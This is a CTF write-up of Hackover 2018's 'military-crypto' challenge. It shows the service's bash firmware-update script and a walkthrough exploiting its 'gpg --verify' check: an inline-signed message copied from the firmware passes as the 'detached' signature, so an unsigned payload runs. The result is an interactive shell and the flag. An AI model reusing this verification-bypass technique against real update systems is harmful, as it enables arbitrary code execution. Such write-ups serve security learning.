This is CTF Gandalf, presenting a new writeup of Hackover CTF 2018's `military-crypto` challenge.
Connecting to military-crypto.ctf.hackover.de:1337 presents us with a CLI```====================================================    == secure update service
    we didn't roll our own, powered by the    best crypto known to humanity====================================================1) Update firmware    3) Current firmware2) Download firmware  4) Quit>```
Option 2, `Download firmware`, gives us the 'firmware' - which happens to be a bash script - in base64 encoding, and a corresponding detached signature also encoded as base64.
The firmware is```bash#!/bin/bashset -eu
SELF=$(pwd)/$0DIR=$(mktemp -d)cd "$DIR"
cp -r /home/ctf/.gnupg .export GNUPGHOME="${DIR}/.gnupg"chmod o-rx .gnupg
menu() {cat <<EOF====================================================    == secure update service
    we didn't roll our own, powered by the    best crypto known to humanity====================================================EOF    PS3="> "    opts=("Update firmware" "Download firmware" "Current firmware" "Quit")    select opt in "${opts[@]}"; do    case "${REPLY}" in        1 ) update_firmware; break;;        2 ) download_firmware; break;;        3 ) current_firmware; break;;        4 ) echo "EOF!"; exit 0;;        *) echo "Unknown option"; continue;;    esac; done}
update_firmware() {   cat <<EOF====================================================    1) send update binary as base64    2) finish with an empty line    3) send detached signature as base64    4) finish with an empty line====================================================EOF   echo 'Reading firmware...'   touch update.bin.b64   while IFS='' read -r firmware; do       if [ -z "$firmware" ]; then break; fi       echo "$firmware" >> update.bin.b64   done   base64 -d update.bin.b64 > update.bin   rm update.bin.b64
   echo 'Reading detatched signaure...'   touch update.bin.sig   while IFS='' read -r signature; do       if [ -z "$signature" ]; then break; fi       echo "$signature" >> update.bin.sig.b64   done   base64 -d update.bin.sig.b64 > update.bin.sig   rm update.bin.sig.b64
   if ! gpg --verify update.bin.sig; then       set +x       echo '!!!!!!!!!!!!!!!!!!!!!!!'       echo '!! INVALID SIGNATURE !!'       echo '!!!!!!!!!!!!!!!!!!!!!!!'       exit 1   else       chmod +x update.bin       echo 'Updating....'       ./update.bin       echo 'Rebooting....'       exit 0   fi}
download_firmware() {    echo "Firmware:"    cat "${SELF}"|base64|tr -d '\n'    echo    echo "Signature:"    cat "${SELF}.sig"|base64|tr -d '\n'    echo}
current_firmware() {cat <<EOF-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256
Version: 1.0Created: 2018-10-03Audited: KRYPTOCHEF
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEwSuuOHnM9KfOOGG3QoUB03HVrd8FAlu2ra4ACgkQQoUB03HVrd9kow//b/uQQonqD02g7VXMBYIUcCljLsGaOgvdEXSA6r6y5iym4DVLrDuZrIHPryAV30SJkm6gaxjcA19zYBg79tqcolhJPq4Tsd8bCOBEWG31Gk1LN7mzJbCk5TMOylf02qYbgpCULPkNxH87s4S8Oo7z0buR50jWAbe28fPkqyF0AG4iConSeIhKtMYBLNFIdxXm3u99su5BATf13jSGrIIg+iO8aT7xrohOyaY75FlvsB6DBeDLTwf/9z//SKVixZVKuoh+b4hevECqmwRB3t/NvyIbHz8e70WHXhWg6CXJMMz41YZylGhwNeDFI3sHjIJ1wx4FDzH1WSlVcrYSOP4UZacgPzwxjMehvnUW2IGFXRiwsh1z21HI8NlxN0YZ5b+uwpj75AmP4mNDYvoGHHk1+fqna4a39y2t7qQEWMkEq2YQiuDQjCGAprC+Q++8HAtODf566z2pB1h8dsdvOWDzzfMS8z3RC6LFydMEiRzVi7sL0tawY60JPBxHDX2D6njzPi5XjRCNJiGqrK2qsL2aNxDn7zBQExvEUmgLsSR574YUILLa0xsMhMTAZn3ht/Rx7yxZJoN8FM0UvajbFdcDmgj2iullEq3aIpmQChoVnb/yygpCq0353UtYOWZKfxCcH9mQSbcQCjDUFgr91nTXehMQ6d64bSbLxgZuqWwPoy4==IbNc-----END PGP SIGNATURE-----EOF}
while true; do    menudone```
Examining that, the update_firmware function appears to take:- The target update encoded as base64- A detached pgp signature encoded as base64
Or so it would seem.
Now, let's take a closer look at the gpg verification step:```bash   if ! gpg --verify update.bin.sig; then       set +x       echo '!!!!!!!!!!!!!!!!!!!!!!!'       echo '!! INVALID SIGNATURE !!'       echo '!!!!!!!!!!!!!!!!!!!!!!!'       exit 1   else       chmod +x update.bin       echo 'Updating....'       ./update.bin       echo 'Rebooting....'       exit 0   fi```
A-ha! As we can see, it's using `gpg --verify` - which does not only verify detached signatures, but also regular signed files.
Good on us, as we have a complete signed message embedded in our firmware dump:```-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256
Version: 1.0Created: 2018-10-03Audited: KRYPTOCHEF
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCAAdFiEEwSuuOHnM9KfOOGG3QoUB03HVrd8FAlu2ra4ACgkQQoUB03HVrd9kow//b/uQQonqD02g7VXMBYIUcCljLsGaOgvdEXSA6r6y5iym4DVLrDuZrIHPryAV30SJkm6gaxjcA19zYBg79tqcolhJPq4Tsd8bCOBEWG31Gk1LN7mzJbCk5TMOylf02qYbgpCULPkNxH87s4S8Oo7z0buR50jWAbe28fPkqyF0AG4iConSeIhKtMYBLNFIdxXm3u99su5BATf13jSGrIIg+iO8aT7xrohOyaY75FlvsB6DBeDLTwf/9z//SKVixZVKuoh+b4hevECqmwRB3t/NvyIbHz8e70WHXhWg6CXJMMz41YZylGhwNeDFI3sHjIJ1wx4FDzH1WSlVcrYSOP4UZacgPzwxjMehvnUW2IGFXRiwsh1z21HI8NlxN0YZ5b+uwpj75AmP4mNDYvoGHHk1+fqna4a39y2t7qQEWMkEq2YQiuDQjCGAprC+Q++8HAtODf566z2pB1h8dsdvOWDzzfMS8z3RC6LFydMEiRzVi7sL0tawY60JPBxHDX2D6njzPi5XjRCNJiGqrK2qsL2aNxDn7zBQExvEUmgLsSR574YUILLa0xsMhMTAZn3ht/Rx7yxZJoN8FM0UvajbFdcDmgj2iullEq3aIpmQChoVnb/yygpCq0353UtYOWZKfxCcH9mQSbcQCjDUFgr91nTXehMQ6d64bSbLxgZuqWwPoy4==IbNc-----END PGP SIGNATURE-----```
This effectively allows us to feed an arbitrary update payload + this signed message instead of a detached signature, and gpg will happily verify the regular signed message instead of the actual payload - only printing a warning that it is not, in fact, verifying it as a detached signature.
To examine the system and find the flag, our update payload consists of a mere `base64 <<< 'bash'`, and the signed message obtained from the firmware dump.
This should allow us to acquire an interactive shell.
```> 1====================================================    1) send update binary as base64    2) finish with an empty line    3) send detached signature as base64    4) finish with an empty line====================================================Reading firmware...YmFzaAo=
Reading detatched signaure...LS0tLS1CRUdJTiBQR1AgU0lHTkVEIE1FU1NBR0UtLS0tLQpIYXNoOiBTSEEyNTYKClZlcnNpb246IDEuMApDcmVhdGVkOiAyMDE4LTEwLTAzCkF1ZGl0ZWQ6IEtSWVBUT0NIRUYKCi0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tCgppUUl6QkFFQkNBQWRGaUVFd1N1dU9Ibk05S2ZPT0dHM1FvVUIwM0hWcmQ4RkFsdTJyYTRBQ2drUVFvVUIwM0hWCnJkOWtvdy8vYi91UVFvbnFEMDJnN1ZYTUJZSVVjQ2xqTHNHYU9ndmRFWFNBNnI2eTVpeW00RFZMckR1WnJJSFAKcnlBVjMwU0prbTZnYXhqY0ExOXpZQmc3OXRxY29saEpQcTRUc2Q4YkNPQkVXRzMxR2sxTE43bXpKYkNrNVRNTwp5bGYwMnFZYmdwQ1VMUGtOeEg4N3M0UzhPbzd6MGJ1UjUwaldBYmUyOGZQa3F5RjBBRzRpQ29uU2VJaEt0TVlCCkxORklkeFhtM3U5OXN1NUJBVGYxM2pTR3JJSWcraU84YVQ3eHJvaE95YVk3NUZsdnNCNkRCZURMVHdmLzl6Ly8KU0tWaXhaVkt1b2grYjRoZXZFQ3Ftd1JCM3QvTnZ5SWJIejhlNzBXSFhoV2c2Q1hKTU16NDFZWnlsR2h3TmVERgpJM3NIaklKMXd4NEZEekgxV1NsVmNyWVNPUDRVWmFjZ1B6d3hqTWVodm5VVzJJR0ZYUml3c2gxejIxSEk4Tmx4Ck4wWVo1Yit1d3BqNzVBbVA0bU5EWXZvR0hIazErZnFuYTRhMzl5MnQ3cVFFV01rRXEyWVFpdURRakNHQXByQysKUSsrOEhBdE9EZjU2NnoycEIxaDhkc2R2T1dEenpmTVM4ejNSQzZMRnlkTUVpUnpWaTdzTDB0YXdZNjBKUEJ4SApEWDJENm5qelBpNVhqUkNOSmlHcXJLMnFzTDJhTnhEbjd6QlFFeHZFVW1nTHNTUjU3NFlVSUxMYTB4c01oTVRBClpuM2h0L1J4N3l4WkpvTjhGTTBVdmFqYkZkY0RtZ2oyaXVsbEVxM2FJcG1RQ2hvVm5iL3l5Z3BDcTAzNTNVdFkKT1daS2Z4Q2NIOW1RU2JjUUNqRFVGZ3I5MW5UWGVoTVE2ZDY0YlNiTHhnWnVxV3dQb3k0PQo9SWJOYwotLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0K
gpg: Signature made Fri Oct  5 00:17:50 2018 UTCgpg:                using RSA key C12BAE3879CCF4A7CE3861B7428501D371D5ADDFgpg: key 428501D371D5ADDF marked as ultimately trustedgpg: checking the trustdbgpg: marginals needed: 3  completes needed: 1  trust model: pgpgpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1ugpg: Good signature from "Military Update Authority (fo real)" [ultimate]gpg: WARNING: not a detached signature; file 'update.bin' was NOT verified!Updating....bash: cannot set terminal process group (1): Not a ttybash: no job control in this shellbash-4.4$```
There we go.
Finding the flag was rather easy afterwards:```bash-4.4$ ls ~flag.txt     pubkey.asc   pwnable      pwnable.sigbash-4.4$ cat ~/flag.txthackover18{r0ll_y0_0wn_crypt0_w1th_pgp}```
That's about it. I hope the writeup was clear & detailed.
__CTF Gandalf__